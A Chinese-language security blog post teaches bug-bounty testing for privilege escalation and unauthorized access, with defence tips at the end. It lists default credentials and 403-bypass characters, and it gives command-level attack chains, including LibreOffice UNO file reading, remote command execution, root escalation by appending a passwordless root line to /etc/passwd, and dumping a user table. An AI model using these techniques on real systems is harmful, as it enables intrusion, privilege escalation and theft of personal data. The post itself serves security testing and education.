文章目录
- 前言
- 一、越权漏洞
- 1. 水平越权
- 参数枚举型越权
- IDOR(Insecure Direct Object References)
- 删除操作越权
- 业务越权
- 跨房间禁言
- 优惠券共享
- 审核/批改越权
- 2. 垂直越权
- 凭证替换型越权
- 功能对比测试
- 参数类型校验缺失
- 权限提升接口
- 重置密码越权
- 越权修改绑定邮箱
- 3. 逻辑越权
- 跳转路由鉴权,业务接口未鉴权
- 同域名站点系统的Cookie共用
- 查询参数越权
- 参数污染
- 修改用户信息的返回值
- 登录凭证重复
- 二、未授权访问
- 1. SSO认证绕过
- 修改响应状态码
- 2. 前端鉴权绕过
- 方法1:替换响应内容
- 方法2:断点修改参数值
- 方法3:本地替换JS文件
- 3. 默认凭据与弱口令
- Druid监控后台
- RuoYi框架
- 其他系统
- 4. 端口关联与凭证复用
- 步骤1:端口探测
- 步骤2:框架识别
- 步骤3:凭证复用
- 5. 未授权接口访问
- Swagger接口文档
- SpringBoot Actuator
- Elasticsearch
- UNO服务
- 6. 403绕过技巧
- Nginx 403绕过
- Nginx版本特定绕过
- 7. 页面一闪而过
- 三、攻击链
- 1. Swagger泄露→后台接管攻击链
- 步骤1:API入口Fuzz
- 步骤2:Swagger利用
- 步骤3:弱口令拿低权限
- 步骤4:垂直越权测试
- 步骤5:权限提升
- 2. UNO未授权→数据库接管攻击链
- 步骤1:识别与连接UNO服务
- 步骤2:任意文件读写
- 步骤3:命令执行与提权
- 步骤4:共享目录符号链接攻击
- 步骤5:数据库凭据获取与数据导出
- 3. 端口关联→凭证复用→超管权限攻击链
- 步骤1:端口探测
- 步骤2:弱口令登录
- 步骤3:凭证复用
- 步骤4:基址提取
- 步骤5:认证方式调整
- 四、找接口技巧
- 1. 页面有修改/查看/上线,但无删除按钮
- 2. 无权限进入、无突破点的页面
- 3. 前端灰色禁用、权限不足的功能
- 4. FindSomething工具
- 五、实战心得
- 1. 越权测试要耐心
- 2. 前后端鉴权要分离
- 3. 凭证复用很重要
- 4. Swagger是宝藏
- 5. 弱口令无处不在
- 6. 参数类型测试不能少
- 7. 端口关联思维
- 8. 框架知识储备
- 六、结语
- 核心要点回顾
- 学习建议
- 防御建议
⚠️本博文所涉安全渗透测试技术、方法及案例,仅用于网络安全技术研究与合规性交流,旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前,必须获得目标网络 / 系统所有者的明确且书面授权,严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。
前言
在SRC漏洞挖掘中,越权和未授权访问是最常见也是最危险的漏洞类型。攻击者可以通过越权漏洞访问其他用户的数据或执行超出权限的操作,通过未授权访问漏洞无需登录即可访问敏感资源。充分掌握越权和未授权访问的挖掘方法,能帮助我们快速发现高价值漏洞。本文将系统性地介绍越权和未授权访问的常见类型、检测方法和实战技巧。
一、越权漏洞
越权漏洞是指用户在已认证的情况下,能够访问或操作超出其权限范围的资源。越权漏洞分为水平越权和垂直越权两种类型。
1. 水平越权
定义:同一级别用户之间的权限绕过,即普通用户可以访问其他普通用户的资源。
常见场景:
参数枚举型越权
检测方法:修改URL或请求体中的用户ID参数,尝试访问其他用户的数据。
实战示例:
# 原始请求 GET /api/user/123 HTTP/1.1 # 修改用户ID为其他用户 GET /api/user/456 HTTP/1.1成功结果:返回用户456的个人信息,包括姓名、手机号、邮箱等。
IDOR(Insecure Direct Object References)
检测方法:直接访问对象的ID,无需权限校验。
常见参数名:
userid、uid、idorderid、order_idarticleid、postidfileid、documentid
实战示例:
# 访问自己的订单 GET /api/order/1001 HTTP/1.1 # 尝试访问其他用户的订单 GET /api/order/1002 HTTP/1.1删除操作越权
检测方法:尝试删除其他用户的资源。
实战示例:
# 删除自己的文章 DELETE /api/article/123 HTTP/1.1 # 尝试删除其他用户的文章 DELETE /api/article/456 HTTP/1.1注意:如果参数需要猜测,则危害较小,可能不收;除非是有规律的参数(如自增ID)。
业务越权
场景描述:在特定业务场景中,用户可以执行超出其权限的操作。
实战示例:
跨房间禁言
在直播间场景中,普通用户可以禁言其他房间的用户。
优惠券共享
将自己的优惠券分享给他人使用。
审核/批改越权
学生可以提前获取考试答案,或修改批改结果。
2. 垂直越权
定义:低权限用户可以访问或操作高权限用户(如管理员)的资源。
常见场景:
凭证替换型越权
检测方法:使用低权限用户的凭证调用高权限接口。
实战示例:
# 管理员接口 POST /api/admin/recycle/config HTTP/1.1 Authorization: Bearer {admin_token} {"recycleDays": 1} # 使用普通用户token调用 POST /api/admin/recycle/config HTTP/1.1 Authorization: Bearer {normal_user_token} {"recycleDays": 1}成功结果:响应成功,证明存在垂直越权!
功能对比测试
检测方法:注册不同权限的账号,对比功能差异,抓包分析管理员接口,替换凭证测试越权。
测试步骤:
- 注册管理员和普通用户账号
- 对比功能差异,发现管理员特有功能
- 抓包分析管理员操作,获取高权限接口
- 使用普通用户凭证调用高权限接口
参数类型校验缺失
检测方法:测试参数的类型边界,如将整数改为字符串。
实战示例:
POST /api/admin/recycle/config HTTP/1.1 Content-Type: application/json Authorization: Bearer {normal_user_token} {"recycleDays": "abc"} // 将整数改为字符串结果:设置成功,用户打开回收站时出现服务器错误(500响应),回收站功能完全报废。
权限提升接口
检测方法:寻找修改用户权限的接口,如SysOperatorRole。
实战示例:
# 找到权限修改接口 GET /api/SysOperatorRole?userId=123&roleId=1 # 修改自己的角色为管理员 GET /api/SysOperatorRole?userId=456&roleId=0成功结果:权限修改成功,刷新登录后获得管理员权限。
重置密码越权
检测方法:使用自己账号重置密码的请求,替换session和userid为其他用户。
实战示例:
# 原始请求:重置自己的密码 POST /api/user/resetPassword HTTP/1.1 Cookie: session=xxx {"userId": 123, "newPassword": "newpass123"} # 修改为重置其他用户的密码 POST /api/user/resetPassword HTTP/1.1 Cookie: session=xxx {"userId": 456, "newPassword": "newpass123"}越权修改绑定邮箱
检测方法:修改别人的绑定邮箱,获取验证信息。
实战示例:
# 修改自己的绑定邮箱 POST /api/user/changeEmail HTTP/1.1 Cookie: session=xxx {"email": "new@example.com"} # 修改为别人的绑定邮箱 POST /api/user/changeEmail HTTP/1.1 Cookie: session=xxx {"userId": 456, "email": "attacker@example.com"}3. 逻辑越权
场景描述:通过业务逻辑漏洞实现越权访问。
跳转路由鉴权,业务接口未鉴权
检测方法:前端路由做了鉴权,但后端API接口未做权限校验。
实战示例:
前端路由:/admin → 需要管理员权限 后端接口:/api/admin/user/list → 未做权限校验 直接调用后端接口即可获取管理员数据同域名站点系统的Cookie共用
检测方法:不同系统共享Cookie,导致跨系统越权。
实战示例:
系统A:http://app1.example.com 系统B:http://app2.example.com 在系统A登录后,Cookie被系统B共享 可以直接访问系统B的管理员页面查询参数越权
检测方法:修改查询参数,获取超出权限的数据。
实战示例:
# 查询特定用户数据 GET /api/user/list?userId=10 HTTP/1.1 # 修改参数获取所有数据 GET /api/user/list?userId=10X HTTP/1.1 GET /api/user/list?userId=0 HTTP/1.1 GET /api/user/list?userId= HTTP/1.1参数污染
检测方法:添加、删除或修改请求参数,测试接口行为。
实战示例:
# 原始请求 POST /api/user HTTP/1.1 Content-Type: application/json {"username": "test", "password": "123456"} # 添加额外参数 POST /api/user HTTP/1.1 Content-Type: application/json {"username": "test", "password": "123456", "role": "admin"} # 删除参数 POST /api/user HTTP/1.1 Content-Type: application/json {"username": "test"} # 修改参数值 POST /api/user HTTP/1.1 Content-Type: application/json {"username": "test", "password": "123456", "isAdmin": true}修改用户信息的返回值
检测方法:使用BurpSuite的Match and Replace模块修改响应中的用户信息。
实战示例:
原始响应:{"role": "user", "isAdmin": false} 修改后:{"role": "admin", "isAdmin": true}成功结果:前端根据修改后的响应显示管理员界面。
登录凭证重复
检测方法:不同账号登录请求,修改返回凭证。
实战示例:
# 用账号A登录 POST /api/login HTTP/1.1 Content-Type: application/json {"username": "userA", "password": "passA"} # 响应:{"token": "tokenA", "userId": 123} # 修改为账号B的信息 # {"token": "tokenA", "userId": 456}二、未授权访问
未授权访问是指无需认证或绕过认证即可访问敏感资源。
1. SSO认证绕过
场景描述:系统使用统一认证(SSO),但通过修改HTTP响应可绕过认证。
检测方法:
修改响应状态码
实战示例:
步骤1:访问站点,跳转到统一认证页面 步骤2:抓包分析,发现自动跳转 步骤3:修改返回包,删除响应中的{} 步骤4:成功进入功能点页面(前端静态页面) 步骤5:点击功能点,收到401未授权响应 步骤6:将401改为200,成功获取数据原理分析:
- 后端下发的{}是身份票据载体,前端JS读取该对象判断登录状态
- 删除响应中的{}后,前端JS读取变量不存在,跳转判断分支失效
- 将401改为200后,前端认为请求成功,显示后端返回的真实数据
2. 前端鉴权绕过
场景描述:前端JS代码中判断用户权限,但后端未做权限校验。
检测方法:
方法1:替换响应内容
| 类型 | 说明 | 示例 |
|---|---|---|
| 修改状态码 | 修改401/403为200 | 绕过登录跳转 |
| 修改响应体 | 修改isAdmin、role等字段 | 伪造管理员身份 |
| 修改JS代码 | 修改判断逻辑 | if(e.isLogin)→if(!e.isLogin) |
实战示例:
// 找到/api/getUser接口,修改返回的role字段{"role":0,// 改为管理员角色"isAdmin":true}方法2:断点修改参数值
// 在判断逻辑处打断点// 控制台修改参数user.role=0;// 修改用户角色为管理员user.isAdmin=true;// 设置为管理员方法3:本地替换JS文件
// 下载JS文件,修改判断逻辑后本地替换// 浏览器开发者工具→Sources→Overrides3. 默认凭据与弱口令
场景描述:系统使用默认密码或弱密码,可直接登录。
常见默认凭据:
Druid监控后台
默认路径:/druid/login.html
常见弱口令:
admin / admin admin / 123456 admin / admin123 ruoyi / 123456 ry / 123456RuoYi框架
默认路径:/login
常见弱口令:
admin / admin123 admin / 123456其他系统
常见弱口令组合:
admin / admin admin / 123456 admin / password root / root root / 123456 user / user test / test4. 端口关联与凭证复用
场景描述:同一IP的不同端口可能共享用户认证体系,可复用凭证。
检测方法:
步骤1:端口探测
测试同一IP的不同端口,寻找凭据共享入口。
步骤2:框架识别
通过接口路径识别技术框架(如若依框架)。
步骤3:凭证复用
从其他端口获取的凭证尝试在目标系统使用。
实战示例:
目标:某高校体测系统(端口x) 发现:admin用户存在但被禁用 相邻端口(x-1): - 发现另一套更老旧的登录框 - admin弱密码直接登录成功 - 路径为/prod-api/getinfo,判断为若依框架 体测系统登录: - 在体测登录框输入admin - 抓包粘贴从x-1端口获取的Cookie - 成功登录,但无任何功能点显示 API接口路径探测: - 从验证码URL提取基址为/xxx - 拼接正确路径:/xxx/system/user/list - 使用Bearer Token格式认证 - 成功获取全校学生信息!5. 未授权接口访问
场景描述:某些接口未做权限校验,可直接访问。
常见未授权接口:
Swagger接口文档
检测路径:
/swagger-ui.html/v2/api-docs/v3/api-docs
泄露信息:所有API接口定义、参数格式、数据模型。
SpringBoot Actuator
检测路径:
/actuator/env/actuator/trace/actuator/heapdump
泄露信息:环境变量、数据库连接信息、API密钥、堆内存快照。
Elasticsearch
检测路径:
/_cat/indices/_search
泄露信息:所有索引数据。
UNO服务
检测路径:端口8100
危险接口:
com.sun.star.frame.Desktop- 文件读取com.sun.star.ucb.SimpleFileAccess- 文件系统操作com.sun.star.system.SystemShellExecute- 命令执行
6. 403绕过技巧
场景描述:访问被拒绝(403),但可通过特殊字符或路径绕过。
常见绕过方法:
Nginx 403绕过
特殊路径:
/;- 添加分号/actuator- 常见Actuator路径//- 双斜杠//;- 双斜杠加分号
Nginx版本特定绕过
| Nginx版本 | Node.js绕过字符 | Flask绕过字符 | Spring Boot绕过字符 |
|---|---|---|---|
| 1.22.0 | \xA0 (ASCII 160) | \x85, \xA0 | ;(分号) |
| 1.21.6 | \xA0 | \x85, \xA0 | ;(分号) |
| 1.20.2 | \xA0, \x09, \x0C | \x85, \xA0, \x1F等 | \x09, ; |
| 1.18.0 | \xA0, \x09, \x0C | \x85, \xA0, \x1F等 | \x09, ; |
| 1.16.1 | \xA0, \x09, \x0C | \x85, \xA0, \x1F等 | \x09, ; |
URL编码:
- \xA0 → %C2%A0
- \x09 → %09
- \x0C → %0C
- \x85 → %C2%85
- ; → %3B
7. 页面一闪而过
场景描述:打开页面,一闪而过后台界面,然后跳转到登录页。
检测方法:
- 使用BurpSuite卡住响应
- 查看是否存在
window.location跳转 - 修改或删除跳转代码
三、攻击链
1. Swagger泄露→后台接管攻击链
攻击链概述:
Swagger泄露 → 弱口令拿低权限 → 垂直越权泄露信息 → 找到权限修改接口 → 权限提升 → 后台接管实操步骤:
步骤1:API入口Fuzz
开局登录框 → 找API入口 → onescan递归fuzz → 发现Swagger步骤2:Swagger利用
HAE提取接口 → ApiHunter自动化测试 → CAA提取参数步骤3:弱口令拿低权限
二要素认证尝试弱口令 → 成功拿到低权限token步骤4:垂直越权测试
低权限token跑高权限接口 → 发现信息泄露(146个电话)步骤5:权限提升
发现SysOperatorRole接口 → 修改用户角色为管理员 → 刷新登录 → 后台接管2. UNO未授权→数据库接管攻击链
攻击链概述:
UNO未授权暴露 → 任意文件读写 → 命令执行 → 提权root → 共享目录符号链接 → 读取Web配置 → 获取DB凭据 → 数据导出 → 密码恢复 → 双因子绕过实操步骤:
步骤1:识别与连接UNO服务
# 编译UNO客户端工具javac-cptools/unojars/libreoffice-7.3.6.jar scripts/UnoRead.java# 连接并读取文件java-cptools/unojars/libreoffice-7.3.6.jar:. UnoRead10.1.X.XX8100file:///etc/passwd步骤2:任意文件读写
# 枚举目录java-cptools/unojars/libreoffice-7.3.6.jar:. UnoFs10.1.X.XX8100list file:///# 读取文件java-cptools/unojars/libreoffice-7.3.6.jar:. UnoFs10.1.X.XX8100catfile:///proc/self/environ步骤3:命令执行与提权
# 命令执行java-cptools/unojars/libreoffice-7.3.6.jar:. UnoExec10.1.X.XX8100/bin/sh"-c 'id'"# 通过/etc/passwd可写提权printf'%s\n''r00t0::0:0:root:/root:/bin/sh'>>/etc/passwdsur00t0-c'id'步骤4:共享目录符号链接攻击
# 创建符号链接ln-sf/opt/tomcat/webapps/ROOT/WEB-INF/classes/proxool.xml /_temp/proxool.xml# 通过Web访问获取配置curlhttp://10.1.X.XX/_temp/proxool.xml步骤5:数据库凭据获取与数据导出
# 从proxool.xml提取凭据# Host: 10.1.X.XXX, Port: 3306, User: root, Password: XXXXXX# 连接数据库python3 webplus_db.py--query"select * from T_USER"--saveloot/users.json3. 端口关联→凭证复用→超管权限攻击链
攻击链概述:
相邻端口弱口令登录 → 获取若依框架凭证 → 体测系统复用凭证 → 提取验证码基址 → 拼接正确API路径 → 调整认证头格式 → 越权访问用户列表 → 获取超管权限实操步骤:
步骤1:端口探测
测试同一IP的相邻端口,发现老旧登录框。
步骤2:弱口令登录
admin弱密码直接登录成功 获取Cookie:JSESSIONID=xxx步骤3:凭证复用
在体测系统登录框输入admin 抓包粘贴从相邻端口获取的Cookie 成功登录,但无任何功能点显示步骤4:基址提取
从验证码URL提取基址为/xxx 拼接正确路径:/xxx/system/user/list步骤5:认证方式调整
GET /xxx/system/user/list?pageNum=1&pageSize=100 HTTP/1.1 Authorization: Bearer <token>成功结果:获取全校学生信息,实现超管权限!
四、找接口技巧
1. 页面有修改/查看/上线,但无删除按钮
检测方法:
- 搜索已有接口前缀:
/api/page - 扩大范围:
/page - 按语义猜关键字:
del/delete/remove
2. 无权限进入、无突破点的页面
检测方法:
- JS里一定藏着后台请求接口,可直接调用拿数据
- 搜索接口关键字:
type:"POST"、type:"GET"、post("、get("url:、url:"、url:'、path:、path:"、action?
3. 前端灰色禁用、权限不足的功能
检测方法:
- 从可用接口拿到父路径:
/v4/scrm/api/crowd/ - 逐级缩小/扩大范围搜索
- 按语义搜新增关键字:
add/create/new
4. FindSomething工具
注意事项:
- 工具不能全覆盖:独立路由、动态拼接接口扫不到
- 工具结果需手工修正:
- 把
/user/getInfo/:uid改成/user/getInfo/1 - 把
/user/getInfo?uid=补参数uid=1
- 把
五、实战心得
1. 越权测试要耐心
参数枚举是越权测试的核心,需要耐心地测试各种参数组合。不要因为一次失败就放弃,多尝试不同的参数名和参数值。
2. 前后端鉴权要分离
前端鉴权仅为用户体验,后端必须独立鉴权。很多漏洞都是因为后端依赖前端的权限判断,导致绕过。
3. 凭证复用很重要
从一个系统获取的凭证,可能在另一个系统中也有效。特别是同一IP的不同端口,很可能共享认证体系。
4. Swagger是宝藏
遇到Swagger就成功了一半,它会暴露所有API接口信息,包括高权限接口。
5. 弱口令无处不在
不要以为二要素认证就安全,很多系统的二要素认证也存在弱口令问题。
6. 参数类型测试不能少
测试参数的类型边界(整数→字符串等),可能触发逻辑漏洞。
7. 端口关联思维
同一IP的不同端口可能存在关联,相邻端口往往共享凭据。
8. 框架知识储备
熟悉若依、Spring Boot等常见框架的接口路径和默认行为。
六、结语
越权和未授权访问是SRC漏洞挖掘中最常见也是最危险的漏洞类型。从简单的参数枚举到复杂的攻击链构建,每一种类型都可能带来严重的安全风险。本文系统地介绍了越权和未授权访问的常见类型、检测方法和实战技巧,希望能帮助读者建立完整的越权与未授权访问挖掘思维体系。
核心要点回顾
1. 越权测试方法:
- 水平越权:修改用户ID参数,枚举其他用户数据
- 垂直越权:用低权限凭证调用高权限接口
- 逻辑越权:利用业务逻辑漏洞实现越权
2. 未授权访问测试方法:
- SSO绕过:修改HTTP响应状态码和响应体
- 前端鉴权绕过:断点调试、本地替换JS文件
- 默认凭据:尝试常见弱口令组合
- 端口关联:测试同一IP的不同端口
3. 攻击链思维:
- 信息收集→识别突破口→获取凭证→横向移动→权限提升
- 多个漏洞组合可提升危害等级
4. 工具链重要性:
- HAE、ApiHunter、CAA等工具能大大提高效率
- 小程序逆向工具(WMPFDebugger)是必备工具
学习建议
- 多实践:理论知识需要通过实践来巩固,多参与SRC漏洞挖掘
- 多对比:注册不同权限的账号进行对比测试
- 多尝试:不要轻易放弃,多尝试不同的测试方法
- 保持好奇心:越权和未授权访问挖掘需要耐心和好奇心
防御建议
对于防守方来说,越权和未授权访问的防护需要从多个层面入手:
- 后端强制鉴权:每个接口都需要验证用户权限
- 参数校验:服务端校验所有参数的有效性和权限
- 最小权限原则:用户权限按最小原则分配
- 认证逻辑后端化:不要依赖前端的权限判断
- 操作审计:所有权限变更操作必须记录审计日志
- 弱口令防护:禁用默认账号,强制复杂密码策略